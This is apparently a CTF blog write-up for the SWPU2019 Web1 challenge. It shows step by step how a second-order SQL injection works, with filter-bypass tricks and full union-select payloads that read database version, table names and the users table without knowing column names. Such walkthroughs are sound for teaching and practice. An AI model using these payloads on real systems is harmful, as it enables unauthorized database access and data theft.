[SWPU2019]Web1

考点:二次注入,无列名注入
尝试使用单引号判断是否存在注入

报错说明存在二次注入

经过尝试发现过滤了空格,or,and,--+,#,order等关键字
order by可以使用group by代替,空格可以使用/**/代替,注释符可以采用闭合的方式代替,如group by 1,'2
另外通过报错语句可以猜测到后台sql语句

select * from ads where title = '$title' limit 0,1

判断字段数
先填写一个较大的字段数,例如50,发现字段数大了

-1'/**/group/**/by/**/50,'2

然后25,12,20进行尝试,最后得到字段数为22,可以看到已经爆出了数字

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

查看数据库用户,版本等信息

-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

查询表时,发现information_schema.tables被过滤,删除information_schema.tables后正常

-1'union/**/select/**/1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这个时候就要使用无列名注入,另外Maria数据库的这个表可以查表名:mysql.innodb_table_stats
查询表

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

查询表中的数据

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

posted @ 2020-07-13 11:57  GTX690M  阅读(954)  评论(0编辑  收藏  举报